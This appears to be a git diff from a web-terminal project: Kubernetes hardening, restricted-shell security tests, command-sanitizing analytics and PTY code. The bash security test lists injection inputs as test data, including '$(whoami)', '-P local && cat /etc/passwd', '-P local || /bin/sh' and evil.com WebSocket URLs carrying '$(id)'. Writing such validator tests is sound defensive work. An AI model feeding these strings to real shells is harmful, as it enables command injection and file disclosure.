When using Docker (via `docker-compose.yml` or `scripts/docker-quickstart.sh`):
1. **Files are mounted directly** to the proper locations in the container:
- `alacritty.toml``/home/socktop/.config/alacritty/alacritty.toml`
- `catppuccin-frappe.toml``/home/socktop/.config/alacritty/catppuccin-frappe.toml`
- `profiles.json``/home/socktop/.config/socktop/profiles.json`
- `*.pem` certificates → `/home/socktop/.config/socktop/certs/`
2. **Files are read-only** in the container (mounted with `:ro` flag)
3. **To update configuration**:
- Edit files in this directory on your host
- Changes are immediately visible in the container (no restart needed for most configs)
- For some changes, restart may be needed: `docker-compose restart` or `scripts/docker-quickstart.sh restart`
## Required Files ## Required Files
Place your actual configuration files in this directory before building/running the container: Place your actual configuration files in this directory before building/running the container:
@@ -25,11 +42,27 @@ Place your actual configuration files in this directory before building/running
- Copy from: `profiles.json.example` - Copy from: `profiles.json.example`
- Update with your actual host IPs and connection details - Update with your actual host IPs and connection details
### 3. SSH Keys ### 3. SSH Certificates (Optional)
**`rpi-master.pem`** **`rpi-master.pem`**
- SSH private key for master node - SSH private key for master node
- **IMPORTANT**: Set permissions to 600 - **Permissions**: Must be `600` (will be auto-fixed by entrypoint)
- Only needed if connecting to remote systems
**`rpi-worker-1.pem`, `rpi-worker-2.pem`, `rpi-worker-3.pem`**
- SSH private keys for worker nodes
- **Permissions**: Must be `600`
- Optional - add as needed for your systems
**Note**: If no certificates are provided, the container will still work for local monitoring.
### 4. Docker-Specific Notes
- Files are mounted directly from this directory to their final locations in the container
- Files are mounted read-only (`:ro`) for security
- Certificate permissions should be `600` on the host before mounting
- For local testing, you can comment out the certificate mounts in docker-compose.yml
- Without certificates, the container will still work for local monitoring
**`rpi-worker-1.pem`** **`rpi-worker-1.pem`**
- SSH private key for worker node 1 - SSH private key for worker node 1
+119 -3
View File
@@ -18,10 +18,87 @@ spec:
hostNetwork: false hostNetwork: false
dnsPolicy: ClusterFirst dnsPolicy: ClusterFirst
containers: # Security context for the pod
- name: webterm securityContext:
runAsUser: 100
runAsGroup: 101
fsGroup: 101
# Init container to set up configuration
initContainers:
- name: init-config
image: gt.wittyoneoff.com/jason/socktop-webterm:0.2.2 image: gt.wittyoneoff.com/jason/socktop-webterm:0.2.2
imagePullPolicy: Always imagePullPolicy: Always
command: ["/bin/bash", "-c"]
args:
- |
set -e
echo "Setting up configuration directories..."
mkdir -p /var/lib/socktop/.config/socktop/certs
mkdir -p /var/lib/socktop/.config/alacritty
if [ -f "/home/socktop/.config/socktop/profiles.json" ]; then
cp /home/socktop/.config/socktop/profiles.json /var/lib/socktop/.config/socktop/profiles.json
echo "Copied profiles.json"
fi
if [ -f "/home/socktop/.config/alacritty/alacritty.toml" ]; then
cp /home/socktop/.config/alacritty/alacritty.toml /var/lib/socktop/.config/alacritty/alacritty.toml
echo "Copied alacritty.toml"
fi
if [ -f "/home/socktop/.config/alacritty/catppuccin-frappe.toml" ]; then
cp /home/socktop/.config/alacritty/catppuccin-frappe.toml /var/lib/socktop/.config/alacritty/catppuccin-frappe.toml
echo "Copied catppuccin-frappe.toml"
fi
if [ -d "/home/socktop/.config/socktop/certs" ]; then
cp /home/socktop/.config/socktop/certs/*.pem /var/lib/socktop/.config/socktop/certs/ 2>/dev/null || true
echo "Copied certificates"
fi
# Fix paths in profiles.json
if [ -f "/var/lib/socktop/.config/socktop/profiles.json" ]; then
sed -i 's|/home/socktop/.config/socktop/rpi-|/var/lib/socktop/.config/socktop/certs/rpi-|g' /var/lib/socktop/.config/socktop/profiles.json
echo "Updated certificate paths"
fi
echo "Configuration setup complete"
volumeMounts:
- name: config
mountPath: /home/socktop/.config/socktop/profiles.json
subPath: profiles.json
- name: config
mountPath: /home/socktop/.config/alacritty/alacritty.toml
subPath: alacritty.toml
- name: config
mountPath: /home/socktop/.config/alacritty/catppuccin-frappe.toml
subPath: catppuccin-frappe.toml
- name: certs
mountPath: /home/socktop/.config/socktop/certs
readOnly: true
- name: socktop-home
mountPath: /var/lib/socktop
securityContext:
runAsUser: 100
runAsGroup: 101
containers:
- name: webterm
image: gt.wittyoneoff.com/jason/socktop-webterm:0.3.12
imagePullPolicy: Always
command: ["/docker-entrypoint.sh"]
args:
[
"webterm-server",
"--host",
"0.0.0.0",
"--port",
"8082",
"--command",
"/usr/local/bin/session-shell.sh",
]
ports: ports:
- name: http - name: http
@@ -38,6 +115,13 @@ spec:
value: "America/New_York" value: "America/New_York"
- name: RUST_LOG - name: RUST_LOG
value: "info" value: "info"
# Disable socktop's local process-kill feature for every socktop
# launched anywhere under this pod, regardless of command line.
# The restricted shell also passes --no-kill, but this is the layer
# a visitor cannot route around (no way to unset env from the
# restricted shell).
- name: SOCKTOP_NO_KILL
value: "1"
resources: resources:
limits: limits:
@@ -78,14 +162,44 @@ spec:
- name: certs - name: certs
mountPath: /home/socktop/.config/socktop/certs mountPath: /home/socktop/.config/socktop/certs
readOnly: true readOnly: true
- name: socktop-home
mountPath: /var/lib/socktop
# webterm-server runs as in-container root holding only the caps
# listed below (everything else dropped, no privilege escalation),
# so it can drop each websocket session to the unprivileged `demo`
# user via session-shell.sh. The kernel then refuses any signal a
# session aims at the server, the agent (running as `socktop`), or
# another session's UID — the kill feature's UI gating stops being
# the only line of defense.
securityContext: securityContext:
allowPrivilegeEscalation: false allowPrivilegeEscalation: false
capabilities: capabilities:
drop: drop:
- ALL - ALL
add:
- SETUID
- SETGID
# The server must be able to signal the sessions it spawned,
# which run as `demo` — a different uid — so root needs
# CAP_KILL for that. Without it every idle-timeout teardown
# got EPERM, the session lived on, and (0.3.11) the actix
# worker blocked in wait() on it: half of all requests hung.
# Sessions still cannot signal anything: setpriv drops every
# cap (including this one) before the restricted shell runs.
- KILL
# prepare_demo_home (entrypoint.sh) writes into and re-owns
# /home/demo, which the image ships as demo-owned 700. With
# ALL dropped, uid 0 has no implicit file privilege, so the
# three file caps must come back or the entrypoint crashes on
# mkdir/chown/chmod. Sessions still get zero caps — session-
# shell.sh drops them all via setpriv --inh-caps -all.
- CHOWN
- DAC_OVERRIDE
- FOWNER
readOnlyRootFilesystem: false readOnlyRootFilesystem: false
runAsNonRoot: false runAsUser: 0
runAsGroup: 0
volumes: volumes:
- name: config - name: config
@@ -95,5 +209,7 @@ spec:
secret: secret:
secretName: socktop-webterm-certs secretName: socktop-webterm-certs
optional: true optional: true
- name: socktop-home
emptyDir: {}
restartPolicy: Always restartPolicy: Always
Binary file not shown.

After

Width:  |  Height:  |  Size: 533 KiB

+152
View File
@@ -0,0 +1,152 @@
#!/bin/bash
# Security test script for restricted shell
# Tests various injection and escape attempts
set -e
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}╔════════════════════════════════════════════════════════╗${NC}"
echo -e "${BLUE}║ Restricted Shell Security Test ║${NC}"
echo -e "${BLUE}╚════════════════════════════════════════════════════════╝${NC}"
echo ""
PASSED=0
FAILED=0
TOTAL=0
# Function to test a command
test_command() {
local test_name="$1"
local test_input="$2"
local should_block="$3" # "block" or "allow"
TOTAL=$((TOTAL + 1))
echo -ne "${YELLOW}Testing:${NC} $test_name ... "
# Note: This is a template. In practice, you'd need to:
# 1. Send input to the restricted shell
# 2. Check if it was blocked or executed
# 3. Verify no unauthorized commands ran
# For now, we'll test the regex patterns
if [[ "$should_block" == "block" ]]; then
# These should be blocked
if [[ "$test_input" =~ ^-P[[:space:]]+[a-zA-Z0-9_-]+$ ]] || \
[[ "$test_input" =~ ^wss?://[a-zA-Z0-9\.\:/_-]+$ ]]; then
echo -e "${RED}FAIL${NC} - Should have blocked but pattern matched"
FAILED=$((FAILED + 1))
else
echo -e "${GREEN}PASS${NC} - Correctly blocked"
PASSED=$((PASSED + 1))
fi
else
# These should be allowed
if [[ "$test_input" =~ ^-P[[:space:]]+[a-zA-Z0-9_-]+$ ]] || \
[[ "$test_input" =~ ^wss?://[a-zA-Z0-9\.\:/_-]+$ ]]; then
echo -e "${GREEN}PASS${NC} - Correctly allowed"
PASSED=$((PASSED + 1))
else
echo -e "${RED}FAIL${NC} - Should have allowed but pattern didn't match"
FAILED=$((FAILED + 1))
fi
fi
}
echo -e "${BLUE}═══ Testing Valid Commands (Should Allow) ═══${NC}"
echo ""
test_command "Local profile" "-P local" "allow"
test_command "Remote profile" "-P rpi-master" "allow"
test_command "Profile with dash" "-P rpi-worker-1" "allow"
test_command "Profile with underscore" "-P my_profile" "allow"
test_command "Websocket URL" "ws://192.168.1.100:3000" "allow"
test_command "Secure websocket" "wss://example.com:3000" "allow"
test_command "Websocket with path" "ws://192.168.1.100:3000/ws" "allow"
echo ""
echo -e "${BLUE}═══ Testing Command Injection (Should Block) ═══${NC}"
echo ""
test_command "Command substitution \$()" "-P \$(whoami)" "block"
test_command "Command substitution backticks" "-P \`id\`" "block"
test_command "Shell semicolon" "-P local; ls -la" "block"
test_command "Shell AND operator" "-P local && cat /etc/passwd" "block"
test_command "Shell OR operator" "-P local || /bin/sh" "block"
test_command "Shell pipe" "-P local | grep root" "block"
test_command "Shell redirect" "-P local > /tmp/output" "block"
test_command "Shell background" "-P local &" "block"
echo ""
echo -e "${BLUE}═══ Testing Path Traversal (Should Block) ═══${NC}"
echo ""
test_command "Parent directory" "-P ../etc/passwd" "block"
test_command "Absolute path" "-P /etc/passwd" "block"
test_command "Multiple parent dirs" "-P ../../bin/bash" "block"
test_command "Encoded path" "-P %2e%2e%2f" "block"
echo ""
echo -e "${BLUE}═══ Testing Special Characters (Should Block) ═══${NC}"
echo ""
test_command "Newline injection" "-P local\nls" "block"
test_command "Carriage return" "-P local\rls" "block"
test_command "Null byte" "-P local\x00ls" "block"
test_command "Single quote" "-P local' ls" "block"
test_command "Double quote" "-P local\" ls" "block"
test_command "Dollar sign" "-P \$HOME" "block"
test_command "Asterisk wildcard" "-P local*" "block"
test_command "Question wildcard" "-P local?" "block"
echo ""
echo -e "${BLUE}═══ Testing Environment Variables (Should Block) ═══${NC}"
echo ""
test_command "HOME variable" "-P \$HOME" "block"
test_command "PATH variable" "-P \$PATH" "block"
test_command "SHELL variable" "-P \$SHELL" "block"
test_command "Braced variable" "-P \${HOME}" "block"
echo ""
echo -e "${BLUE}═══ Testing WebSocket URL Exploits (Should Block) ═══${NC}"
echo ""
test_command "WS with command injection" "ws://evil.com/\$(id)" "block"
test_command "WS with backticks" "ws://evil.com/\`whoami\`" "block"
test_command "WS with semicolon" "ws://evil.com/; ls" "block"
test_command "WS with spaces" "ws://evil.com/ /bin/sh" "block"
echo ""
echo -e "${BLUE}════════════════════════════════════════════════════${NC}"
echo -e "${BLUE} TEST SUMMARY ${NC}"
echo -e "${BLUE}════════════════════════════════════════════════════${NC}"
echo ""
echo -e "Total Tests: ${BLUE}$TOTAL${NC}"
echo -e "Passed: ${GREEN}$PASSED${NC}"
echo -e "Failed: ${RED}$FAILED${NC}"
echo ""
if [ $FAILED -eq 0 ]; then
echo -e "${GREEN}✓ All security tests passed!${NC}"
echo ""
echo -e "${YELLOW}Note:${NC} These are pattern validation tests only."
echo "For complete security verification, you should:"
echo " 1. Test in actual container environment"
echo " 2. Verify socktop binary doesn't process malicious args"
echo " 3. Monitor for unexpected process execution"
echo " 4. Check logs for injection attempts"
echo ""
exit 0
else
echo -e "${RED}✗ Some security tests failed!${NC}"
echo ""
echo "Review the failed tests and update regex patterns in restricted-shell.sh"
echo ""
exit 1
fi
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env bash
# Verify that the socktop binary baked into a built image understands every
# --flag the restricted/session shells pass to it.
#
# Why this exists: image 0.3.9 shipped with a cached apt layer holding socktop
# 1.60.1, while restricted-shell.sh had started passing --no-kill (added in
# 1.60.2). 1.60.1 parsed the unknown flag as the positional websocket URL,
# prompted to overwrite the 'local' profile with url "--no-kill", and broke the
# demo. This check fails the build whenever the shells and the installed
# binary disagree about the CLI.
#
# Usage: verify-image-socktop-flags.sh IMAGE
set -euo pipefail
IMAGE="${1:?usage: verify-image-socktop-flags.sh IMAGE}"
cd "$(dirname "$0")/.."
# Every --flag appearing on a socktop invocation line in the shells.
FLAGS=$(grep -hE '/usr/bin/socktop' docker/restricted-shell.sh docker/session-shell.sh 2>/dev/null |
grep -oE -- '--[a-z][a-z-]*' | sort -u)
if [ -z "$FLAGS" ]; then
echo "ERROR: found no socktop flags to verify — did the shells move?" >&2
exit 1
fi
# The image is arm64-only; pin the platform so the check behaves the same on
# the arm64 CI runner and on an amd64 box with qemu binfmt.
run_socktop() {
docker run --rm --platform linux/arm64 --entrypoint /usr/bin/socktop "$IMAGE" "$@" 2>&1
}
if ! VERSION=$(run_socktop --version); then
echo "ERROR: could not run socktop from ${IMAGE}:" >&2
echo "$VERSION" >&2
exit 1
fi
HELP=$(run_socktop --help || true)
echo "image socktop: ${VERSION}"
rc=0
for flag in $FLAGS; do
if printf '%s' "$HELP" | grep -q -- "$flag"; then
echo " ok: $flag"
else
echo " MISSING: installed socktop does not document $flag" >&2
rc=1
fi
done
if [ "$rc" -ne 0 ]; then
echo "FAIL: the image's socktop predates flags the shells pass." >&2
echo "Bump SOCKTOP_VERSION in the Dockerfile to a release that has them." >&2
fi
exit $rc
+256
View File
@@ -0,0 +1,256 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Umami analytics integration for tracking terminal events using pop-telemetry
use pop_telemetry::{record_cli_command, Telemetry};
use serde_json::json;
use std::path::PathBuf;
use std::sync::Arc;
use tokio::sync::Mutex;
/// Umami analytics tracker
pub struct Analytics {
telemetry: Arc<Mutex<Option<Telemetry>>>,
enabled: bool,
}
impl Analytics {
/// Create a new Analytics instance with custom Umami endpoint
///
/// # Arguments
/// * `website_id` - The Umami website ID
/// * `endpoint` - The Umami instance endpoint (e.g., "http://unami.wittyoneoff.com/api/send")
/// * `config_path` - Path to the telemetry config file (for opt-out checks)
pub fn new(website_id: String, endpoint: String, config_path: PathBuf) -> Self {
let telemetry = Telemetry::init_with_website_id(endpoint, website_id, &config_path);
Self {
telemetry: Arc::new(Mutex::new(Some(telemetry))),
enabled: true,
}
}
/// Create a disabled Analytics instance (no-op)
pub fn disabled() -> Self {
Self {
telemetry: Arc::new(Mutex::new(None)),
enabled: false,
}
}
/// Track a terminal command event
///
/// # Arguments
/// * `command` - The command that was typed (will be sanitized)
/// * `_user_agent` - Optional user agent string (not used with pop-telemetry)
pub async fn track_command(&self, command: &str, _user_agent: Option<String>) {
if !self.enabled {
return;
}
let telemetry = self.telemetry.lock().await;
if let Some(t) = telemetry.as_ref() {
// Sanitize the command for analytics
let sanitized_command = sanitize_command(command);
// Track as an event using pop-telemetry
let data = json!({
"command": sanitized_command,
"type": "terminal_command"
});
match record_cli_command(t.clone(), "command_typed", data).await {
Ok(_) => log::debug!("Tracked command event: {}", sanitized_command),
Err(e) => log::warn!("Failed to track command event: {:?}", e),
}
}
}
/// Track a page view
///
/// # Arguments
/// * `path` - The page path
/// * `_user_agent` - Optional user agent string (not used with pop-telemetry)
pub async fn track_pageview(&self, path: &str, _user_agent: Option<String>) {
if !self.enabled {
return;
}
let telemetry = self.telemetry.lock().await;
if let Some(t) = telemetry.as_ref() {
let data = json!({
"path": path,
"type": "pageview"
});
match record_cli_command(t.clone(), "pageview", data).await {
Ok(_) => log::debug!("Tracked pageview: {}", path),
Err(e) => log::warn!("Failed to track pageview: {:?}", e),
}
}
}
/// Track a terminal session start
pub async fn track_session_start(&self, _user_agent: Option<String>) {
if !self.enabled {
return;
}
let telemetry = self.telemetry.lock().await;
if let Some(t) = telemetry.as_ref() {
let data = json!({
"event": "session_start",
"type": "terminal_session"
});
match record_cli_command(t.clone(), "session_start", data).await {
Ok(_) => log::debug!("Tracked session start"),
Err(e) => log::warn!("Failed to track session start: {:?}", e),
}
}
}
/// Track a terminal session end
pub async fn track_session_end(&self, _user_agent: Option<String>) {
if !self.enabled {
return;
}
let telemetry = self.telemetry.lock().await;
if let Some(t) = telemetry.as_ref() {
let data = json!({
"event": "session_end",
"type": "terminal_session"
});
match record_cli_command(t.clone(), "session_end", data).await {
Ok(_) => log::debug!("Tracked session end"),
Err(e) => log::warn!("Failed to track session end: {:?}", e),
}
}
}
}
impl Clone for Analytics {
fn clone(&self) -> Self {
Self {
telemetry: Arc::clone(&self.telemetry),
enabled: self.enabled,
}
}
}
/// Sanitize a command for analytics tracking
///
/// This removes potentially sensitive information like:
/// - Passwords in commands (e.g., mysql -p password)
/// - URLs with credentials
/// - SSH keys
/// - File paths (replaced with generic placeholders)
///
/// Returns a sanitized version of the command safe for analytics
fn sanitize_command(command: &str) -> String {
let trimmed = command.trim();
// If empty, return as-is
if trimmed.is_empty() {
return "empty".to_string();
}
// Split into words
let words: Vec<&str> = trimmed.split_whitespace().collect();
if words.is_empty() {
return "empty".to_string();
}
// Get the base command (first word)
let base_cmd = words[0];
// For sensitive commands, only track the command name
let sensitive_commands = [
"ssh", "scp", "sftp", "rsync", "mysql", "psql", "mongo", "curl", "wget", "git", "docker",
"kubectl", "aws", "gcloud", "sudo", "su", "passwd", "chpasswd", "openssl", "gpg",
];
if sensitive_commands.iter().any(|&cmd| base_cmd.contains(cmd)) {
return format!("{}_REDACTED", base_cmd);
}
// For common safe commands, keep the command and count of args
let safe_commands = [
"ls", "cd", "pwd", "cat", "less", "more", "head", "tail", "echo", "grep", "find", "which",
"whoami", "date", "cal", "clear", "exit", "history", "man", "help", "top", "htop", "ps",
"kill", "df", "du", "free", "uptime", "uname", "socktop",
];
if safe_commands.contains(&base_cmd) {
if words.len() > 1 {
return format!("{}_with_{}_args", base_cmd, words.len() - 1);
} else {
return base_cmd.to_string();
}
}
// For other commands, just return the base command
base_cmd.to_string()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_sanitize_empty() {
assert_eq!(sanitize_command(""), "empty");
assert_eq!(sanitize_command(" "), "empty");
}
#[test]
fn test_sanitize_safe_commands() {
assert_eq!(sanitize_command("ls"), "ls");
assert_eq!(sanitize_command("ls -la"), "ls_with_1_args");
assert_eq!(sanitize_command("cd /tmp"), "cd_with_1_args");
assert_eq!(sanitize_command("pwd"), "pwd");
assert_eq!(sanitize_command("socktop"), "socktop");
assert_eq!(sanitize_command("socktop -P local"), "socktop_with_2_args");
}
#[test]
fn test_sanitize_sensitive_commands() {
assert_eq!(sanitize_command("ssh user@host"), "ssh_REDACTED");
assert_eq!(
sanitize_command("mysql -u root -p password"),
"mysql_REDACTED"
);
assert_eq!(
sanitize_command("curl https://api.com/secret"),
"curl_REDACTED"
);
assert_eq!(sanitize_command("sudo rm -rf /"), "sudo_REDACTED");
}
#[test]
fn test_sanitize_unknown_commands() {
assert_eq!(sanitize_command("customcmd arg1 arg2"), "customcmd");
assert_eq!(sanitize_command("./script.sh"), "./script.sh");
}
#[test]
fn test_analytics_disabled() {
let analytics = Analytics::disabled();
assert!(!analytics.enabled);
}
#[tokio::test]
async fn test_track_command_disabled() {
let analytics = Analytics::disabled();
// Should not panic or error when disabled
analytics.track_command("ls -la", None).await;
}
}
+8 -45
View File
@@ -1,71 +1,34 @@
use actix::Message; use actix::Message;
use futures::{Future, Poll}; use bytes::Bytes;
use libc::c_ushort;
use tokio_pty_process::PtyMaster;
pub use crate::terminado::TerminadoMessage; pub use crate::terminado::TerminadoMessage;
use tokio_codec::{BytesCodec, Decoder};
type BytesMut = <BytesCodec as Decoder>::Item;
pub struct Resize<T: PtyMaster> {
pty: T,
rows: c_ushort,
cols: c_ushort,
}
impl<T: PtyMaster> Resize<T> {
pub fn new(pty: T, rows: c_ushort, cols: c_ushort) -> Self {
Self { pty, rows, cols }
}
}
impl<T: PtyMaster> Future for Resize<T> {
type Item = ();
type Error = std::io::Error;
fn poll(&mut self) -> Poll<Self::Item, Self::Error> {
self.pty.resize(self.rows, self.cols)
}
}
#[derive(Debug, Eq, PartialEq, Clone)] #[derive(Debug, Eq, PartialEq, Clone)]
pub struct IO(pub BytesMut); pub struct IO(pub Bytes);
impl Message for IO { impl Message for IO {
type Result = (); type Result = ();
} }
impl Into<actix_web::web::Bytes> for IO { impl From<Bytes> for IO {
fn into(self) -> actix_web::web::Bytes { fn from(b: Bytes) -> Self {
self.0.into() Self(b)
}
}
impl AsRef<[u8]> for IO {
fn as_ref(&self) -> &[u8] {
self.0.as_ref()
}
}
impl From<actix_web::web::Bytes> for IO {
fn from(b: actix_web::web::Bytes) -> Self {
Self(b.as_ref().into())
} }
} }
impl From<String> for IO { impl From<String> for IO {
fn from(s: String) -> Self { fn from(s: String) -> Self {
Self(s.into()) Self(Bytes::from(s))
} }
} }
impl From<&str> for IO { impl From<&str> for IO {
fn from(s: &str) -> Self { fn from(s: &str) -> Self {
Self(s.into()) Self(Bytes::from(s.to_owned()))
} }
} }
#[derive(Debug, Clone)]
pub struct ChildDied(); pub struct ChildDied();
impl Message for ChildDied { impl Message for ChildDied {
+413 -155
View File
@@ -1,4 +1,5 @@
// Copyright (c) 2019 Fabian Freyer <fabian.freyer@physik.tu-berlin.de>. // Copyright (c) 2019 Fabian Freyer <fabian.freyer@physik.tu-berlin.de>.
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved. // All rights reserved.
// //
// Redistribution and use in source and binary forms, with or without // Redistribution and use in source and binary forms, with or without
@@ -27,38 +28,42 @@
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE. // POSSIBILITY OF SUCH DAMAGE.
#[macro_use]
extern crate serde_json;
#[macro_use]
extern crate log;
use actix::prelude::*; use actix::prelude::*;
use actix::{Actor, StreamHandler}; use actix::{Actor, StreamHandler};
use actix_web::{web, App, HttpRequest, HttpResponse}; use actix_web::{web, App, HttpRequest, HttpResponse};
use actix_web_actors::ws; use actix_web_actors::ws;
use std::io::Write; use std::io::{Read, Write};
use std::process::Command; use std::process::Command;
use std::time::{Duration, Instant}; use std::time::{Duration, Instant};
use tokio_codec::{BytesCodec, Decoder, FramedRead}; use bytes::Bytes;
use tokio_pty_process::{AsyncPtyMaster, AsyncPtyMasterWriteHalf, Child, CommandExt};
use handlebars::Handlebars; use handlebars::Handlebars;
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
use serde_json::json;
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5); const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
const CLIENT_TIMEOUT: Duration = Duration::from_secs(10); const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
const IDLE_TIMEOUT: Duration = Duration::from_secs(300); // 5 minutes
const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); // Check every 30 seconds const IDLE_CHECK_INTERVAL: Duration = Duration::from_secs(30); // Check every 30 seconds
mod event; pub mod analytics;
mod terminado; pub mod event;
pub mod security;
pub mod terminado;
use event::{ChildDied, TerminadoMessage, IO};
// Re-export for public API
pub use analytics::Analytics;
pub use security::{validate_command, validate_env_value, ValidationError};
pub use terminado::ParseError;
/// Actix WebSocket actor /// Actix WebSocket actor
pub struct Websocket { pub struct Websocket {
cons: Option<Addr<Terminal>>, cons: Option<Addr<Terminal>>,
hb: Instant, hb: Instant,
command: Option<Command>, command: Option<Command>,
analytics: Option<Analytics>,
} }
impl Actor for Websocket { impl Actor for Websocket {
@@ -73,54 +78,58 @@ impl Actor for Websocket {
.take() .take()
.expect("command was None at start of WebSocket."); .expect("command was None at start of WebSocket.");
// Start PTY // Start PTY with analytics if available
self.cons = Some(Terminal::new(ctx.address(), command).start()); let terminal = if let Some(analytics) = self.analytics.clone() {
Terminal::with_analytics(ctx.address(), command, analytics)
} else {
Terminal::new(ctx.address(), command)
};
trace!("Started WebSocket"); self.cons = Some(terminal.start());
log::trace!("Started WebSocket");
} }
fn stopping(&mut self, _ctx: &mut Self::Context) -> Running { fn stopping(&mut self, _ctx: &mut Self::Context) -> Running {
trace!("Stopping WebSocket"); log::trace!("Stopping WebSocket");
// When the WebSocket disconnects, the Terminal's idle timeout will
// automatically clean up the PTY session after IDLE_TIMEOUT (5 minutes).
// This prevents "grey goo" accumulation of orphaned terminal processes
// while giving reconnecting clients a grace period.
if let Some(_cons) = self.cons.take() { if let Some(_cons) = self.cons.take() {
info!("WebSocket disconnecting, Terminal will timeout if idle"); log::info!("WebSocket disconnecting, Terminal will timeout if idle");
} }
Running::Stop Running::Stop
} }
fn stopped(&mut self, _ctx: &mut Self::Context) { fn stopped(&mut self, _ctx: &mut Self::Context) {
trace!("Stopped WebSocket"); log::trace!("Stopped WebSocket");
} }
} }
impl Handler<event::IO> for Websocket { impl Handler<IO> for Websocket {
type Result = (); type Result = ();
fn handle(&mut self, msg: event::IO, ctx: &mut <Self as Actor>::Context) { fn handle(&mut self, msg: IO, ctx: &mut <Self as Actor>::Context) {
trace!("Websocket <- Terminal : {:?}", msg); log::trace!("Websocket <- Terminal : {:?}", msg);
ctx.binary(msg); ctx.binary(msg.0);
} }
} }
impl Handler<event::TerminadoMessage> for Websocket { impl Handler<TerminadoMessage> for Websocket {
type Result = (); type Result = ();
fn handle(&mut self, msg: event::TerminadoMessage, ctx: &mut <Self as Actor>::Context) { fn handle(&mut self, msg: TerminadoMessage, ctx: &mut <Self as Actor>::Context) {
trace!("Websocket <- Terminal : {:?}", msg); log::trace!("Websocket <- Terminal : {:?}", msg);
match msg { match msg {
event::TerminadoMessage::Stdout(_) => { TerminadoMessage::Stdout(_) => {
let json = serde_json::to_string(&msg); let json = serde_json::to_string(&msg);
if let Ok(json) = json { if let Ok(json) = json {
ctx.text(json); ctx.text(json);
} }
} }
_ => error!(r#"Invalid event::TerminadoMessage to Websocket: only "stdout" supported"#), _ => log::error!(
r#"Invalid event::TerminadoMessage to Websocket: only "stdout" supported"#
),
} }
} }
} }
@@ -131,28 +140,47 @@ impl Websocket {
hb: Instant::now(), hb: Instant::now(),
cons: None, cons: None,
command: Some(command), command: Some(command),
analytics: None,
}
}
pub fn with_analytics(command: Command, analytics: Analytics) -> Self {
Self {
hb: Instant::now(),
cons: None,
command: Some(command),
analytics: Some(analytics),
} }
} }
fn hb(&self, ctx: &mut <Self as Actor>::Context) { fn hb(&self, ctx: &mut <Self as Actor>::Context) {
ctx.run_interval(HEARTBEAT_INTERVAL, |act, ctx| { ctx.run_interval(HEARTBEAT_INTERVAL, |act, ctx| {
if Instant::now().duration_since(act.hb) > CLIENT_TIMEOUT { if Instant::now().duration_since(act.hb) > CLIENT_TIMEOUT {
warn!("Client heartbeat timeout, disconnecting."); log::warn!("Client heartbeat timeout, disconnecting.");
ctx.stop(); ctx.stop();
return; return;
} }
ctx.ping(""); ctx.ping(b"");
}); });
} }
} }
impl StreamHandler<ws::Message, ws::ProtocolError> for Websocket { impl StreamHandler<Result<ws::Message, ws::ProtocolError>> for Websocket {
fn handle(&mut self, msg: ws::Message, ctx: &mut Self::Context) { fn handle(&mut self, msg: Result<ws::Message, ws::ProtocolError>, ctx: &mut Self::Context) {
let cons: &mut Addr<Terminal> = match self.cons { let cons: &mut Addr<Terminal> = match self.cons {
Some(ref mut c) => c, Some(ref mut c) => c,
None => { None => {
error!("Terminalole died, closing websocket."); log::error!("Terminal died, closing websocket.");
ctx.stop();
return;
}
};
let msg = match msg {
Ok(msg) => msg,
Err(e) => {
log::error!("WebSocket protocol error: {}", e);
ctx.stop(); ctx.stop();
return; return;
} }
@@ -166,57 +194,177 @@ impl StreamHandler<ws::Message, ws::ProtocolError> for Websocket {
ws::Message::Pong(_) => self.hb = Instant::now(), ws::Message::Pong(_) => self.hb = Instant::now(),
ws::Message::Text(t) => { ws::Message::Text(t) => {
// Attempt to parse the message as JSON. // Attempt to parse the message as JSON.
if let Ok(tmsg) = event::TerminadoMessage::from_json(&t) { if let Ok(tmsg) = TerminadoMessage::from_json(t.as_ref()) {
cons.do_send(tmsg); cons.do_send(tmsg);
} else { } else {
// Otherwise, it's just byte data. // Otherwise, it's just byte data.
cons.do_send(event::IO::from(t)); cons.do_send(IO::from(t.to_string()));
} }
} }
ws::Message::Binary(b) => cons.do_send(event::IO::from(b)), ws::Message::Binary(b) => cons.do_send(IO::from(b)),
ws::Message::Close(_) => ctx.stop(), ws::Message::Close(_) => ctx.stop(),
ws::Message::Nop => {} ws::Message::Nop | ws::Message::Continuation(_) => {}
}; };
} }
} }
impl Handler<event::ChildDied> for Websocket { impl Handler<ChildDied> for Websocket {
type Result = (); type Result = ();
fn handle(&mut self, _msg: event::ChildDied, ctx: &mut <Self as Actor>::Context) { fn handle(&mut self, _msg: ChildDied, ctx: &mut <Self as Actor>::Context) {
trace!("Websocket <- ChildDied"); log::trace!("Websocket <- ChildDied");
ctx.close(None); ctx.close(None);
ctx.stop(); ctx.stop();
} }
} }
/// Represents a PTY backenActix WebSocket actor.d with attached child /// Grace the session gets to exit on SIGHUP before the reaper sends SIGKILL.
const CHILD_EXIT_GRACE: Duration = Duration::from_secs(2);
/// Upper bound on how long the reaper polls after SIGKILL before it logs the
/// survivor and falls back to a blocking wait on its own thread.
const CHILD_REAP_DEADLINE: Duration = Duration::from_secs(10);
const CHILD_POLL_INTERVAL: Duration = Duration::from_millis(100);
/// Send `signal` to the child's whole process group.
///
/// portable-pty spawns the child with `setsid()`, so its pid is also its pgid
/// and `kill(-pid)` reaches every process in the session — the shell *and*
/// whatever it is running. Signalling only the shell is not enough: a
/// non-interactive bash waiting on a foreground command defers signal handling
/// until that command exits, so the shell dies on SIGKILL and its child is
/// orphaned still holding the pty.
fn signal_process_group(pid: u32, signal: libc::c_int) -> std::io::Result<()> {
let pgid = -(pid as libc::pid_t);
